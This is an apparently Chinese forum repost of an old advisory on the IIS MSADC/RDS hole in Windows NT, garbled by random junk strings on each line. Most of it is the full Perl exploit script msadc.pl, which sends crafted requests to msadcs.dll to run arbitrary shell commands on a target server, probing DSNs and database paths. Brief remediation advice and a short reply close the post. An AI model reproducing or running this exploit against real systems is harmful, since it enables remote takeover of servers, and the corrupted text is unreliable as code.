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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 9}'l=b:Jms  
FEm1^X#]  
涉及程序: 'aSZ!R  
Microsoft NT server .5Z,SGBf  
"R\\\I7u  
描述: ~]6Oz;~<3  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 dctA`W@:-  
~,M;+T}[r  
详细: Q9x` Uy  
如果你没有时间读详细内容的话,就删除: MZ|c7f&`  
c:\Program Files\Common Files\System\Msadc\msadcs.dll jiw`i  
有关的安全问题就没有了。 R"8})a gw  
^,ZvKA"}+/  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ya*q;D  
btB(n<G2#  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 .H[Lo>  
关于利用ODBC远程漏洞的描述,请参看: Ue>A  
g[D,\  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm VQG  /g\  
q6m87O9  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 pO7{3%  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 4/mj"PBKL  
f4aD0.K.g|  
这里不再论述。 /%}YuN  
mXN1b!  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 6"rFfdns  
gl(6m`a>  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset wZ\e3H z  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! n_!]B_Vd$  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" u[6`Jr~  
k{u%p<  
#!perl ]( U%1  
# oN1wrf}Sh  
# MSADC/RDS 'usage' (aka exploit) script l66ipgw_^I  
# no\}aTx  
# by rain.forest.puppy ;>QK}#'  
# WkU) I2oH  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Tr}$Pb1  
# beta test and find errors! NNREt:+kr  
g^<q L|  
use Socket; use Getopt::Std; ke;*uS  
getopts("e:vd:h:XR", \%args); *{D:1S  
!tFU9Zt  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; V"Y Fu^L  
|0vHy7CE  
if (!defined $args{h} && !defined $args{R}) { [#3Cg%V  
print qq~ ~:RDw<PWp  
Usage: msadc.pl -h <host> { -d <delay> -X -v } mG8  
-h <host> = host you want to scan (ip or domain)  qzU2H  
-d <seconds> = delay between calls, default 1 second ;Cp/2A}Xx  
-X = dump Index Server path table, if available M@LaD 5  
-v = verbose N- ?|]4e/  
-e = external dictionary file for step 5 4[f7X4d$  
Pi]s<3PL  
Or a -R will resume a command session J!^~KN6[  
OD@@O9  
~; exit;} scPq\Qd?O  
% &Q7;?  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; DHujpZXQ  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} X-2S*L'  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} /xm} ?t0U  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); K&gc5L  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} JXR/K=<^  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } L!}j3(I  
?\p%Mx?   
if (!defined $args{R}){ $ret = &has_msadc; 2" {]A;@  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} !A^w6Q;`V  
2O)Kn q  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" wGQhr="  
. "cmd /c "; %H 6ZfEO  
$in=<STDIN>; chomp $in; !+26a*P  
$command="cmd /c " . $in ; [XU{)l  
>J75T1PH=  
if (defined $args{R}) {&load; exit;} aBtfZDCfzp  
[@l v]+@  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; "j@IRuH  
&try_btcustmr; HEfA c  
{HJ`%xN|  
print "\nStep 2: Trying to make our own DSN..."; 3b[[2x_UU  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; {pJ@I=q  
<n2{+eO  
print "\nStep 3: Trying known DSNs..."; I9j+x ])  
&known_dsn; fM[fS?W  
kKk |@  
print "\nStep 4: Trying known .mdbs..."; +q, n}@y=  
&known_mdb; nR|LV'(  
'hHX"\|RA  
if (defined $args{e}){ 2Q_{2(nQb  
print "\nStep 5: Trying dictionary of DSN names..."; GHsdLe=t0#  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } !vo'8r?&  
][K8\  
print "Sorry Charley...maybe next time?\n"; &8YI)G%  
exit; eq 1 4  
tS/APSY  
############################################################################## 6%hEs6-R  
[,?A$Z*Z|  
sub sendraw { # ripped and modded from whisker f+88R=-u6S  
sleep($delay); # it's a DoS on the server! At least on mine... .$s|T  
my ($pstr)=@_; nF y7gA|  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || xbH!:R;  
die("Socket problems\n"); $8ww]}K  
if(connect(S,pack "SnA4x8",2,80,$target)){ A5H8+gATK  
select(S); $|=1; k49n9EX  
print $pstr; my @in=<S>; xA1pDrfC/  
select(STDOUT); close(S); q}24U3ow  
return @in; -bb7Y  
} else { die("Can't connect...\n"); }} ^A$XXH '  
AeQ&V d|  
############################################################################## ,xM*hN3A  
]( 6vG$\  
sub make_header { # make the HTTP request @KRn3$U  
my $msadc=<<EOT ^0?cyv\>LA  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 )^2jsy -/  
User-Agent: ACTIVEDATA g<0%-p  
Host: $ip LFM5W&?  
Content-Length: $clen (IQ L`3f%  
Connection: Keep-Alive XK9*,WA9r  
VqT[ca\  
ADCClientVersion:01.06 52R.L9Ai  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 RuEnr7gi  
Dq1XZ%8  
--!ADM!ROX!YOUR!WORLD! %1d6j<7  
Content-Type: application/x-varg hnL gsz  
Content-Length: $reqlen 7}7C0mV3  
BCDf9]X  
EOT ]qG5 Ne _  
; $msadc=~s/\n/\r\n/g; n~cm?"  
return $msadc;} <yaw9k+P  
IG@&l0ARL  
############################################################################## 0_Z|y/I.  
 Jy[8,X  
sub make_req { # make the RDS request aZ0iwMK  
my ($switch, $p1, $p2)=@_; N0KRND  
my $req=""; my $t1, $t2, $query, $dsn; [?o v J  
{'bkU9+  
if ($switch==1){ # this is the btcustmr.mdb query TZ_'nB~  
$query="Select * from Customers where City=" . make_shell(); *1]k&#s  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . _[Wrd?Z  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 4U1fPyt  
4!W?z2ly~R  
elsif ($switch==2){ # this is general make table query t-m,~IoW  
$query="create table AZZ (B int, C varchar(10))"; &zDFf9w2{  
$dsn="$p1";} }(I DPaJ  
Jy NY *  
elsif ($switch==3){ # this is general exploit table query &IY_z0=  
$query="select * from AZZ where C=" . make_shell(); ' "p*FN  
$dsn="$p1";} |Dpfh  
otVdx&%]  
elsif ($switch==4){ # attempt to hork file info from index server 8pt<)Rs}  
$query="select path from scope()"; FQRcZpv;  
$dsn="Provider=MSIDXS;";} nk.E q[08  
f3B8,>  
elsif ($switch==5){ # bad query 4T\/wyq0  
$query="select"; ^u&Khc~ y  
$dsn="$p1";} T}x%=4<E  
k"-#ox!  
$t1= make_unicode($query); eC:Q)%$%l  
$t2= make_unicode($dsn); iz5wUyeg  
$req = "\x02\x00\x03\x00"; W%QtJB1)  
$req.= "\x08\x00" . pack ("S1", length($t1)); ~TIZumGB  
$req.= "\x00\x00" . $t1 ; TmH13N]  
$req.= "\x08\x00" . pack ("S1", length($t2)); hds4 _  
$req.= "\x00\x00" . $t2 ; eTHh  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 6u3(G j@  
return $req;} <T[ui  
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############################################################################## m)w- mc  
-\v8i.w0  
sub make_shell { # this makes the shell() statement 3`8xh 9O  
return "'|shell(\"$command\")|'";} $ !=:ES  
[<$d@}O  
############################################################################## 8uW:_t]q  
PX/0  jv  
sub make_unicode { # quick little function to convert to unicode ?2>v5p  
my ($in)=@_; my $out; .Sw'Bo!Ee  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } H5t`E^E  
return $out;} @x ]^blq  
zhL,BTH  
############################################################################## ?E@[~qq_  
"$YLU}S9  
sub rdo_success { # checks for RDO return success (this is kludge) =i %w_ e  
my (@in) = @_; my $base=content_start(@in); RL8 wSK  
if($in[$base]=~/multipart\/mixed/){ ?saVk7Z[|5  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} o:*iT =l  
return 0;} ?LM'5  
mSeN M  
############################################################################## '~a$f;: Dv  
2 ZXF_ o  
sub make_dsn { # this makes a DSN for us h%e!f#  
my @drives=("c","d","e","f"); BBj"}~da  
print "\nMaking DSN: "; C{^@.8:  
foreach $drive (@drives) { iP_Xr~w  
print "$drive: "; ^<+heX  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ^Z+D7Q  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" >1zzDd_  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");  p$v +L  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ,KaWP  
return 0 if $2 eq "404"; # not found/doesn't exist EOC"a}Cq-  
if($2 eq "200") { fdW={}~  
foreach $line (@results) { bd}SB-D  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ?QVI'R:Z?  
} return 0;} -2d&Aq4m)  
;Nij*-U4~  
############################################################################## I/|n ma/ $  
"V2$g  
sub verify_exists { !7?wd^C'f  
my ($page)=@_; L<`g}iw  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 9x,+G['Zt  
return $results[0];} )5x?Qn(B  
Fowh3go  
############################################################################## A[a+,TN {  
P://Zi6>  
sub try_btcustmr { ??Ac=K\  
my @drives=("c","d","e","f"); 1^dWmxUZH  
my @dirs=("winnt","winnt35","winnt351","win","windows"); L,L7WObA  
@kymL8"2w  
foreach $dir (@dirs) { v:;cTX=x`#  
print "$dir -> "; # fun status so you can see progress 5!*a,$S  
foreach $drive (@drives) { q>X 2=&1  
print "$drive: "; # ditto D3ad2vH  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 4F!d V;"Z(  
$reqlenlen=length( "$reqlen" ); [N)M]u  
$clen= 206 + $reqlenlen + $reqlen; =Y[Ae7e  
iq -o$6Pg  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); G> >_G<x  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} !CKUkoX  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} h65j,v6B  
rg.if"o  
############################################################################## H)tDfk sq\  
F{tSfKy2  
sub odbc_error { L~~Yh{<  
my (@in)=@_; my $base; J K^;-&  
my $base = content_start(@in); Y1IlH8+0  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this O2f2Fb$B7  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; fO nvC*  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ;wrgpP3  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Jmx }r,j  
return $in[$base+4].$in[$base+5].$in[$base+6];} 37Y]sJrs$  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; |e >-v  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . pM3BBF%  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 2oLa`33c1  
|&7,g  
############################################################################## oJ:J'$W(  
= ;d<Ikj  
sub verbose { L4b4X  
my ($in)=@_; g!ww;_  
return if !$verbose; cK&oC$[r-  
print STDOUT "\n$in\n";} ibyA~YUN/  
%\0 Y1!Hw  
############################################################################## KHtY +93  
AAcbY;  
sub save { I "4B1g  
my ($p1, $p2, $p3, $p4)=@_; Ip0q&i<6  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; .<dmdqk]  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 4^&vRD,  
close OUT;} ev $eM  
5>Q)8` @E  
############################################################################## u7d]%<~'$F  
{,=,0NQKn  
sub load { 605|*(  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; stPCw$@  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); r8rR_ M{P  
@p=<IN>; close(IN); oV`sCr5%  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);  \Z':hw  
$target= inet_aton($ip) || die("inet_aton problems"); \ 714Pyy  
print "Resuming to $ip ..."; *b EsWeP  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; pyKag;ZtP  
if($p[1]==1) { ,e2va7}3  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ,H*3_c&Q  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; #ZA YP  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 30@ GFaab  
if (rdo_success(@results)){print "Success!\n";} ^ dqEOW  
else { print "failed\n"; verbose(odbc_error(@results));}} 7_,gAE:kG  
elsif ($p[1]==3){ [@6iStRg7  
if(run_query("$p[3]")){ S6]':  
print "Success!\n";} else { print "failed\n"; }} V_!i KEU  
elsif ($p[1]==4){ @V)WJ {  
if(run_query($drvst . "$p[3]")){ q]x@q  
print "Success!\n"; } else { print "failed\n"; }} 'Nh^SbD+_|  
exit;} bd4q/w4q  
. +>}},  
############################################################################## x<(h9tB  
JN_# [S$  
sub create_table { o9i\[Ul  
my ($in)=@_; GSp1,E2J  
$reqlen=length( make_req(2,$in,"") ) - 28; e 3K  
$reqlenlen=length( "$reqlen" ); 8T4J^6  
$clen= 206 + $reqlenlen + $reqlen; PJ{.jWwD  
my @results=sendraw(make_header() . make_req(2,$in,"")); _Gu ;U@  
return 1 if rdo_success(@results); |Bp?"8%*l  
my $temp= odbc_error(@results); verbose($temp); /!hW6u5  
return 1 if $temp=~/Table 'AZZ' already exists/; $Tg$FfD6&  
return 0;} C7#$s<>TO  
U,'n}]=4A3  
############################################################################## :&m(WZ \  
#=rR[:M  
sub known_dsn { L6^h3*JyD  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go s6B@:9  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ]G:xTv8  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", m| Z)h{&  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); (]:G"W8f  
F}Au'D&n_  
foreach $dSn (@dsns) { @lwqk J  
print "."; &+v&Dd&  
next if (!is_access("DSN=$dSn")); +-hmITJ v  
if(create_table("DSN=$dSn")){ F r~xN!  
print "$dSn successful\n"; DjIs"5Iei  
if(run_query("DSN=$dSn")){ x>^S..K}L%  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Gsb]e  
print "Something's borked. Use verbose next time\n";}}} print "\n";} {8' 5  
' vwBG=9C  
############################################################################## 6{M.S}.^  
x?3p3[y  
sub is_access { Z(L>~+%  
my ($in)=@_; t.cplJF&Ue  
$reqlen=length( make_req(5,$in,"") ) - 28; _3hEYeh  
$reqlenlen=length( "$reqlen" ); mIyaoIE|$  
$clen= 206 + $reqlenlen + $reqlen; F<$&G'% H  
my @results=sendraw(make_header() . make_req(5,$in,"")); am}zOr\  
my $temp= odbc_error(@results); zy|hf<V  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); >97N $  
return 0;} =["GnL*!0  
[Mi~4b  
############################################################################## {T.VB~C  
?CIa)dhu  
sub run_query { %9j]N$.V  
my ($in)=@_; C.@TX  
$reqlen=length( make_req(3,$in,"") ) - 28; G.Q+"+* ^  
$reqlenlen=length( "$reqlen" ); 8PQt8G.  
$clen= 206 + $reqlenlen + $reqlen; /W9=7&R0  
my @results=sendraw(make_header() . make_req(3,$in,"")); <XNLeJdY  
return 1 if rdo_success(@results); y.zW>Mfl  
my $temp= odbc_error(@results); verbose($temp); { }z7N~  
return 0;} @bZb#,n]  
PJ'l:IU  
############################################################################## B4kIcHA  
O'k"6sBb  
sub known_mdb { b#sO1MXv  
my @drives=("c","d","e","f","g");  ZM"t.  
my @dirs=("winnt","winnt35","winnt351","win","windows"); :z[SI{Y  
my $dir, $drive, $mdb; >a<;)K^1  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; c0@v`-9  
8:f( PN  
# this is sparse, because I don't know of many m*1=-" P  
my @sysmdbs=( "\\catroot\\icatalog.mdb", R&?p^!`%  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", C<3An_Dy  
"\\system32\\certmdb.mdb", ' {Q L`L  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ^#nAS2w7U  
j'Fni4;  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ^dro*a,  
"\\cfusion\\cfapps\\forums\\forums_.mdb", /#tOi[0[  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", U-@\V1;C  
"\\cfusion\\cfapps\\security\\realm_.mdb", fIu/*PFPVY  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", u7S7lR"lxW  
"\\cfusion\\database\\cfexamples.mdb", (j(6%U  
"\\cfusion\\database\\cfsnippets.mdb", R7#B_^ $  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", J&Ah52  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", n}"MF>zDK  
"\\cfusion\\brighttiger\\database\\cleam.mdb", +p2)uXqW  
"\\cfusion\\database\\smpolicy.mdb", .L}ar7  
"\\cfusion\\database\cypress.mdb", WaYT\CG7y  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", zQ6otDZx  
"\\website\\cgi-win\\dbsample.mdb", %NvY~,  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", BwR)--75  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" IMj{n.y4  
); #these are just k3&Wv  
foreach $drive (@drives) { Yv>% 5`  
foreach $dir (@dirs){ 0VPa=AW  
foreach $mdb (@sysmdbs) { d2pVO]l YZ  
print "."; ZPXxrmq%  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ s\@!J.Da  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; !^y'G0  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ :>|[ o&L  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ).\%a h  
} else { print "Something's borked. Use verbose next time\n"; }}}}} `,J\E<4J  
KyjN'F$  
foreach $drive (@drives) { 0ZO!_3m$r  
foreach $mdb (@mdbs) { /0A}N$?>:  
print "."; V[#jrwhA  
if(create_table($drv . $drive . $dir . $mdb)){ 7a2 uNt,X  
print "\n" . $drive . $dir . $mdb . " successful\n"; ]'hz+V31%  
if(run_query($drv . $drive . $dir . $mdb)){ qTG/7tn "  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; \j4TDCs_[  
} else { print "Something's borked. Use verbose next time\n"; }}}} e7-U0rrE  
} _di[PU=Vh  
Au9Rr3n  
############################################################################## aPRF  
d+8Sypv^4*  
sub hork_idx { zhS\|tI  
print "\nAttempting to dump Index Server tables...\n"; n;[d{bU  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 06ZyR@.@v  
$reqlen=length( make_req(4,"","") ) - 28; uT_bA0jK  
$reqlenlen=length( "$reqlen" ); lwSA!W  
$clen= 206 + $reqlenlen + $reqlen; k/>k&^?  
my @results=sendraw2(make_header() . make_req(4,"","")); Z<`QDBN"4  
if (rdo_success(@results)){ 3qP! (*  
my $max=@results; my $c; my %d; nBR4j?':i  
for($c=19; $c<$max; $c++){ ZjWI~"]  
$results[$c]=~s/\x00//g; />H9T[3=  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; #}o*1  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; }5`Kn}rY  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; L^dF )y?  
$d{"$1$2"}="";} Y-v6xUc{F  
foreach $c (keys %d){ print "$c\n"; } (m13 ong  
} else {print "Index server doesn't seem to be installed.\n"; }} `j9 ;9^  
A2..gs/  
############################################################################## dj 4:r!5_  
X-=49)  
sub dsn_dict { fTMn  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); EW]rD  
while(<IN>){ #V@[<S2  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 4PR!OB  
next if (!is_access("DSN=$dSn")); ) }(Po_  
if(create_table("DSN=$dSn")){ 51xiX90D  
print "$dSn successful\n"; U&GSMjqg  
if(run_query("DSN=$dSn")){ p[>! ;qI  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { `@RTfBB g  
print "Something's borked. Use verbose next time\n";}}}  _->d41  
print "\n"; close(IN);} EJrP{GH  
iU+O(vi  
############################################################################## xQ%N% `  
=A{F&:+a]  
sub sendraw2 { # ripped and modded from whisker ) vn {?Ulj  
sleep($delay); # it's a DoS on the server! At least on mine... ;ry~x:7L7  
my ($pstr)=@_; Pd)mLs Jg  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 3VaL%+T$,  
die("Socket problems\n"); 3%P<F>6 J  
if(connect(S,pack "SnA4x8",2,80,$target)){ {{qu:(_g  
print "Connected. Getting data"; ~m3Q^ue  
open(OUT,">raw.out"); my @in; yhc}*BMZ  
select(S); $|=1; print $pstr; a[I :^S  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} mb,\wZ  
close(OUT); select(STDOUT); close(S); return @in; ?L x*MJZ  
} else { die("Can't connect...\n"); }} -%,=%FBi~4  
yw\Q>~$n[=  
############################################################################## {OIB/  
=bgWUu\F  
sub content_start { # this will take in the server headers kntYj}F(  
my (@in)=@_; my $c;  4 Fl>XM  
for ($c=1;$c<500;$c++) { ]Q$Sei5  
if($in[$c] =~/^\x0d\x0a/){ }p5_JXBV  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Kl_(4kQE_  
else { return $c+1; }}} 3$G &~A{  
return -1;} # it should never get here actually g8k S}7/  
zncKd{Q\tP  
############################################################################## u.;l=tzz  
8 kvF~d ;  
sub funky { z9Z4MXl  
my (@in)=@_; my $error=odbc_error(@in); \(_(pcl  
if($error=~/ADO could not find the specified provider/){ /*P) C'_M  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; $O3.ex V  
exit;} gWQ(B  
if($error=~/A Handler is required/){ T[Lz4;TRk5  
print "\nServer has custom handler filters (they most likely are patched)\n"; #zRHYZc'T|  
exit;} fYSH]!  
if($error=~/specified Handler has denied Access/){ [4w*<({*  
print "\nServer has custom handler filters (they most likely are patched)\n"; K @RGvP  
exit;}} DQ<4`wEM  
nr&bpA/  
############################################################################## ijP `fM8  
.exBU1Yk@  
sub has_msadc { uP G\1  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ml@;ngmp.  
my $base=content_start(@results); `J] e.K  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ~y{_NgMo  
return 0;} ;*QK^#  
y 4U|~\]  
######################## > a;iX.K  
zzK<>@c  
90#* el  
解决方案: <2N{oK.  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll JR8|!Of@B  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 k@ <dru  
DQ(0:r  
拿出来充数 哈哈
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